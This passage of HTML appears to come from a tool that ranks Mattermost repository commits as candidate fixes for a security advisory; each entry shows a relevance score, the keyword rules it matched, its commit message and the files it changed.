    • + + server/channels/app/support_packet.go + + server/channels/app/support_packet_test.go + + server/einterfaces/ldap.go + + server/einterfaces/mocks/LdapInterface.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-59292] Add metadata to Support Packet (#27573) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + ff3ed78124c7602cad783e46b422893e584f2883 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: test, system
      +
    • + +
    • +
      The commit message references some github issue: 27573
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-59292] Add metadata to Support Packet (#27573)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/app/support_packet.go + + server/channels/app/support_packet_test.go + + server/public/model/packet_metadata.go + + server/public/pluginapi/system.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-59350] Include LDAP vendor errors in Support Packet (#27571) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + bbc8baac0a970413bf9ed7447f870cc21d3c602a +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27571
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-59350] Include LDAP vendor errors in Support Packet (#27571)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/app/support_packet.go + + server/channels/app/support_packet_test.go + + server/einterfaces/ldap.go + + server/einterfaces/mocks/LdapInterface.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Adding Do not disturb and remote user hour warnings (#27138) *... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: server/public/v0.1.6 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + a4f2ec744c3693b2cefbfa115fed7d46b9f9a87c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: time
      +
    • + +
    • +
      The commit message references some github issue: 27138
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Adding Do not disturb and remote user hour warnings (#27138) * Adding Do not disturb and remote user hour warnings * Do not show the hour warning on your own DMs * style tweaks * Some fixes * Linter fixes * Updating snapshots * Improving the robustness of this solution * Some improvements on keeping up the hour in the interface * i18n-extract and fix linter errors * Removing colon where is not needed * Removing the time from 6-7 to be shown * Addressing PR Review Comments * Changing the remote user hour icon * Changing back to fill and not outline icon * Addressing PR review comments * Fixing the RHS showing this * Removing unneeded check * Fixing linter error * Update webapp/channels/src/components/advanced_text_editor/do_not_disturb_warning.tsx Co-authored-by: Matthew Birtch <mattbirtch@gmail.com> * Addressing PR review comment * adding consistency to show the DND and Late hours message --------- Co-authored-by: Matthew Birtch <mattbirtch@gmail.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/advanced_text_editor/advanced_text_editor.tsx + + webapp/channels/src/components/advanced_text_editor/do_not_disturb_warning.tsx + + webapp/channels/src/components/advanced_text_editor/remote_user_hour.tsx + + webapp/channels/src/components/common/svg_images_components/moon_svg.tsx + + webapp/channels/src/i18n/en.json + + webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channels.ts + + webapp/channels/src/utils/constants.tsx + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Updated required role for user report page GET API (#27529) *... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 40abf8ef66be712742e79ddbb4bff47e61e7c2c7 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: role
      +
    • + +
    • +
      The commit message references some github issue: 27529
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Updated required role for user report page GET API (#27529) * Updated required role for user report page GET API * Updated permission in error message --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/api4/report.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [feat] adding container image scanning (#27624) Expanding on our... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 0df1a62f611a95f61b6ff7dcc06ac67e3e67d390 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: fail
      +
    • + +
    • +
      The commit message references some github issue: 27624
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [feat] adding container image scanning (#27624) Expanding on our ongoing efforts to enhance security, we are integrating container image scanning into the CI pipeline using Wiz.io https://docs.wiz.io/wiz-docs/docs/github-pipeline The policy defined, will be providing internal reports in wiz.io for our teams to review. Will not enforcing CI failure at this point.
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + .github/workflows/server-ci-artifacts.yml + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-58351 Fix showing LHS scrollbar when moving mouse over on chrome... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 43b70e287a1a3621c1d05c90626d9145039c8fc6 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27160
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-58351 Fix showing LHS scrollbar when moving mouse over on chrome and safari (#27160) * fixing scrollbar not showing when moving mouse over sidebar * making scrollbar hidden by default and keep shown when hover over channel list * updating sidebar_list snapshot
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/sidebar/sidebar_list/__snapshots__/sidebar_list.test.tsx.snap + + webapp/channels/src/components/sidebar/sidebar_list/sidebar_list.tsx + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update .server/gitignore to ignore all JSON files under the... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + a695a755f6879d633f96aabe0ff9fc9e336c5f72 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: file
      +
    • + +
    • +
      The commit message references some github issue: 27593
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update .server/gitignore to ignore all JSON files under the directory (#27593)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/.gitignore + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-58776 - Change Ancillary Permissions API to POST (#27504) * make... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 5d7027a17242f9172056171dff4de01cacdbff08 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: test
      +
    • + +
    • +
      The commit message references some github issue: 27504
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-58776 - Change Ancillary Permissions API to POST (#27504) * make /ancillary a post * remove get from client, fix tests * Update permissions.yaml
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + api/v4/source/permissions.yaml + + server/channels/api4/permission.go + + server/public/model/client4.go + + webapp/platform/client/src/client4.ts + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + add hover state to accordions and tweaks styles (#27577) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 485dc64c5f2ac406ec7d05a066a1629693869fe5 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: console
      +
    • + +
    • +
      The commit message references some github issue: 27577
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      add hover state to accordions and tweaks styles (#27577)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/admin_console/workspace-optimization/dashboard.scss + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-57963] Log Name and DisplayName of groups (#26836) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 0e6bfbdd261ef983c69f30ef6d1000c12a1e3726 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 26836
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-57963] Log Name and DisplayName of groups (#26836)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/public/model/builtin.go + + server/public/model/builtin_test.go + + server/public/model/group.go + + server/public/model/group_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-57824: Export/import custom status (#27361)... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + db45c0132ee71367d41d11a806c65a7ac1d3c5a4 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27361
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-57824: Export/import custom status (#27361) https://mattermost.atlassian.net/browse/MM-57824 ```release-note NONE ``` Co-authored-by: Mattermost Build <build@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/app/export.go + + server/channels/app/export_test.go + + server/channels/app/import_functions.go + + server/channels/app/imports/import_types.go + + server/i18n/en.json + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Orders results of the GetAll remote clusters store method (#27548) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + b596430920a3d95ce270b14497de6e6ef918ab46 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27548
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Orders results of the GetAll remote clusters store method (#27548)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/api4/remote_cluster_test.go + + server/channels/store/sqlstore/remote_cluster_store.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Add platform information for push notification metrics (#27460) *... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + e5a3dd7fea9684f3f3702f288156b68cea8477a1 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: system
      +
    • + +
    • +
      The commit message references some github issue: 27460
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Add platform information for push notification metrics (#27460) * Add platform information for push notification metrics * Address feedback * Add the client platform returned by the devices to the normalize function * Add "no platform" platform label to distinguish from unknown
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/api4/system.go + + server/channels/app/app_iface.go + + server/channels/app/expirynotify.go + + server/channels/app/notification.go + + server/channels/app/notification_push.go + + server/channels/app/opentracing/opentracing_layer.go + + server/channels/app/post.go + + server/channels/app/post_acknowledgements.go + + server/channels/app/reaction.go + + server/channels/app/web_broadcast_hooks.go + + server/channels/wsapi/system.go + + server/einterfaces/metrics.go + + server/einterfaces/mocks/MetricsInterface.go + + server/enterprise/metrics/metrics.go + + server/public/model/notification.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Update Packet metadata generation based on feedback (#27490) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 6bbf7bbb9fb0007a731f44025f5cb4caab1251b1 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: time, test, system
      +
    • + +
    • +
      The commit message references some github issue: 27490
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Update Packet metadata generation based on feedback (#27490)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/app/plugin_api.go + + server/public/model/metadata.go + + server/public/model/metadata_test.go + + server/public/model/packet_metadata.go + + server/public/model/packet_metadata_test.go + + server/public/plugin/api.go + + server/public/plugin/api_timer_layer_generated.go + + server/public/plugin/client_rpc_generated.go + + server/public/plugin/plugintest/api.go + + server/public/pluginapi/system.go + + server/public/pluginapi/system_test.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-58686] Adjust text alignment on custom status tooltip (#27353) *... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 0e6ed3d4902a6183851be64be1b8496d63dc903c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: time
      +
    • + +
    • +
      The commit message references some github issue: 27353
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-58686] Adjust text alignment on custom status tooltip (#27353) * Change: Adjust text alignment on custom status tooltip Change: Update 'Today' expiry time calculation on custom_status_modal * Change: Use display inline-block instead of flex for custom-status class --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/custom_status/custom_status.scss + + webapp/channels/src/components/custom_status/custom_status_emoji.tsx + + webapp/channels/src/components/custom_status/custom_status_modal.tsx + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Print panic message when mmctl panics (#27390) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 213ebc57fb09ac0159ea18af0f32d1b1cc1ac9b2 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27390
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Print panic message when mmctl panics (#27390)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/cmd/mmctl/commands/root.go + + server/cmd/mmctl/commands/root_test.go + + server/cmd/mmctl/printer/printer.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + chore(api redoc): remove api/redoc-static.html (#27500) The orphaned... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + a3c1272cb6f8d96b42f15d22d87fd66bf5393b5c +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: file
      +
    • + +
    • +
      The commit message references some github issue: 27500
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      chore(api redoc): remove api/redoc-static.html (#27500) The orphaned file unexpectedly introduced in the old PR in 2020 can now be removed as it originally is orphaned and not referenced at all. - mattermost/mattermost-api-reference PR 503 Signed-off-by: Takuya Noguchi <takninnovationresearch@gmail.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + api/redoc-static.html + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + [MM-58840] Add routing restrictions (#27482) + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + d0c4e820a4dbad71273290f80e2ec622586c85ed +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: configuration, console, test, system
      +
    • + +
    • +
      The commit message references some github issue: 27482
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      [MM-58840] Add routing restrictions (#27482)
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + e2e-tests/cypress/tests/integration/channels/enterprise/system_console/group_configuration_spec.js + + e2e-tests/cypress/tests/integration/channels/enterprise/system_console/team_members_spec.js + + e2e-tests/cypress/tests/integration/channels/system_console/user_management_spec.js + + webapp/channels/src/components/admin_console/admin_definition.tsx + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-54416: Channel Bookmarks Web UI (#25889) Co-authored-by:... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + f12eb75d256084527bf135640501142fd41ca876 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: connection, console, test, file
      +
    • + +
    • +
      The commit message references some github issue: 25889
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-54416: Channel Bookmarks Web UI (#25889) Co-authored-by: Mattermost Build <build@mattermost.com> Co-authored-by: Elias Nahum <nahumhbl@gmail.com> Co-authored-by: Miguel de la Cruz <miguel@mcrx.me> Co-authored-by: Scott Bishel <scott.bishel@mattermost.com>
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + e2e-tests/cypress/tests/integration/channels/channel/channel_bookmarks_spec.ts + + webapp/channels/src/actions/channel_actions.ts + + webapp/channels/src/actions/channel_bookmarks.ts + + webapp/channels/src/actions/file_actions.ts + + webapp/channels/src/actions/websocket_actions.jsx + + webapp/channels/src/components/admin_console/license_settings/__snapshots__/license_settings.test.tsx.snap + + webapp/channels/src/components/admin_console/openid_convert/__snapshots__/openid_convert.test.tsx.snap + + webapp/channels/src/components/channel_bookmarks/bookmark_create_modal.scss + + webapp/channels/src/components/channel_bookmarks/bookmark_delete_modal.tsx + + webapp/channels/src/components/channel_bookmarks/bookmark_dot_menu.tsx + + webapp/channels/src/components/channel_bookmarks/bookmark_icon.tsx + + webapp/channels/src/components/channel_bookmarks/bookmark_item.tsx + + webapp/channels/src/components/channel_bookmarks/channel_bookmarks.scss + + webapp/channels/src/components/channel_bookmarks/channel_bookmarks.tsx + + webapp/channels/src/components/channel_bookmarks/channel_bookmarks_create_modal.tsx + + webapp/channels/src/components/channel_bookmarks/channel_bookmarks_plus_menu.tsx + + webapp/channels/src/components/channel_bookmarks/create_modal_name_input.tsx + + webapp/channels/src/components/channel_bookmarks/index.ts + + webapp/channels/src/components/channel_bookmarks/utils.ts + + webapp/channels/src/components/channel_view/__snapshots__/channel_view.test.tsx.snap + + webapp/channels/src/components/channel_view/channel_view.tsx + + webapp/channels/src/components/emoji_picker/components/emoji_picker_custom_emoji_button.tsx + + webapp/channels/src/components/emoji_picker/emoji_picker.tsx + + webapp/channels/src/components/emoji_picker/emoji_picker_overlay/emoji_picker_overlay.tsx + + webapp/channels/src/components/emoji_picker/emoji_picker_tabs.tsx + + webapp/channels/src/components/error_page/__snapshots__/error_link.test.tsx.snap + + webapp/channels/src/components/external_link/__snapshots__/external_link.test.tsx.snap + + webapp/channels/src/components/external_link/index.tsx + + webapp/channels/src/components/file_attachment/__snapshots__/filename_overlay.test.tsx.snap + + webapp/channels/src/components/file_attachment/file_attachment.tsx + + webapp/channels/src/components/file_attachment/file_thumbnail/file_thumbnail.tsx + + webapp/channels/src/components/file_search_results/__snapshots__/file_search_result_item.test.tsx.snap + + webapp/channels/src/components/file_search_results/file_search_result_item.tsx + + webapp/channels/src/components/integrations/__snapshots__/abstract_command.test.tsx.snap + + webapp/channels/src/components/integrations/__snapshots__/abstract_outgoing_webhook.test.tsx.snap + + webapp/channels/src/components/integrations/installed_oauth_apps/__snapshots__/installed_oauth_apps.test.tsx.snap + + webapp/channels/src/components/integrations/installed_outgoing_webhooks/__snapshots__/installed_outgoing_webhooks.test.tsx.snap + + webapp/channels/src/components/integrations/outgoing_oauth_connections/__snapshots__/installed_outgoing_oauth_connections.test.tsx.snap + + webapp/channels/src/components/menu/menu.tsx + + webapp/channels/src/components/plugin_marketplace/marketplace_item/marketplace_item_plugin/__snapshots__/marketplace_item_plugin.test.tsx.snap + + webapp/channels/src/components/post_view/message_attachments/message_attachment/__snapshots__/message_attachment.test.tsx.snap + + webapp/channels/src/components/product_notices_modal/__snapshots__/product_notices.test.tsx.snap + + webapp/channels/src/components/signup/__snapshots__/signup.test.tsx.snap + + webapp/channels/src/components/widgets/inputs/input/input.tsx + + webapp/channels/src/components/widgets/menu/menu_items/menu_item_external_link.test.tsx + + webapp/channels/src/components/youtube_video/__snapshots__/youtube_video.test.tsx.snap + + webapp/channels/src/i18n/en.json + + webapp/channels/src/packages/mattermost-redux/src/action_types/channel_bookmarks.ts + + webapp/channels/src/packages/mattermost-redux/src/action_types/index.ts + + webapp/channels/src/packages/mattermost-redux/src/actions/channel_bookmarks.ts + + webapp/channels/src/packages/mattermost-redux/src/reducers/entities/channel_bookmarks.ts + + webapp/channels/src/packages/mattermost-redux/src/reducers/entities/files.ts + + webapp/channels/src/packages/mattermost-redux/src/reducers/entities/index.ts + + webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channel_bookmarks.ts + + webapp/channels/src/packages/mattermost-redux/src/store/initial_state.ts + + webapp/channels/src/utils/constants.tsx + + webapp/channels/src/utils/emoji_utils.tsx + + webapp/channels/src/utils/file_utils.tsx + + webapp/channels/src/utils/markdown/renderer.tsx + + webapp/channels/src/utils/url.tsx + + webapp/platform/client/src/client4.ts + + webapp/platform/types/src/channel_bookmarks.ts + + webapp/platform/types/src/client4.ts + + webapp/platform/types/src/store.ts + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-58496 - Updating channel font size (#27445) * MM-58496 - Updating... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.11.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_MSG + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + a5d263f26ccd1803abbd485bcda70b8bb22ab428 +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      The commit message and the advisory description contain the following keywords: size
      +
    • + +
    • +
      The commit message references some github issue: 27445
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-58496 - Updating channel font size (#27445) * MM-58496 - Updating channel font size * Updating lineheight
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/sass/components/_post.scss + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + MM-58854 Update how Compass icons are referenced by AnnouncementBar ... + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 6 +
    + +
    +
    +
    + + Tag: @mattermost/client@9.10.0 +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + GITHUB_ISSUE_IN_MESSAGE + + +
    +
    +
    +
    + + + + +
    +
    +
    + 60c5bb46dfa8192efa5a13c746423f0e7696b8bc +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: test
      +
    • + +
    • +
      The commit message references some github issue: 27461, 27488
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      MM-58854 Update how Compass icons are referenced by AnnouncementBar (#27461) (#27488) Automatic Merge
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + webapp/channels/src/components/advanced_text_editor/advanced_text_editor.scss + + webapp/channels/src/components/announcement_bar/__snapshots__/text_dismissable_bar.test.tsx.snap + + webapp/channels/src/components/announcement_bar/default_announcement_bar/announcement_bar.tsx + + webapp/channels/src/components/announcement_bar/text_dismissable_bar.tsx + + webapp/channels/src/components/status_dropdown/status_dropdown.scss + + webapp/channels/src/sass/components/_announcement-bar.scss + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + make GM merge work + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + 4f2aacf9d791cfc64443a647d98098cc06623bbe +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: time, test
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      make GM merge work
      +
    • +
    + +
    Changed files in commit
    + +
      +
    • + + server/channels/app/app_iface.go + + server/channels/app/opentracing/opentracing_layer.go + + server/channels/app/user.go + + server/channels/store/opentracinglayer/opentracinglayer.go + + server/channels/store/retrylayer/retrylayer.go + + server/channels/store/sqlstore/channel_store.go + + server/channels/store/store.go + + server/channels/store/storetest/mocks/ChannelStore.go + + server/channels/store/timerlayer/timerlayer.go + + server/public/model/channel.go + +
    • +
    + + + +
    +
    +
    + +
    + +
    +
    +
    +
    +
    + Remove usage of defaultProps from functional components + +
    +
    +
    + +
    +
    + +
    +
    +
    +
    + +
    + + Relevance: 4 +
    + +
    +
    +
    + + Tag: +
    +
    +
    +
    +
    + + + + ADV_KEYWORDS_IN_FILES + + +
    +
    +
    +
    + + + + +
    +
    +
    + e3bde41ed77739e13a64a024394a6b1793f890fe +
    +
    + + + + Open commit + +
    +
    Matched rules
    + +
      + +
    • +
      An advisory keyword is contained in the changed files: time, console, file
      +
    • + +
    + +
    Commit message
    + +
      +
    • +
      Remove usage of defaultProps from functional components
      +
    • +
    + +
    Changed files in commit
    + +
      +
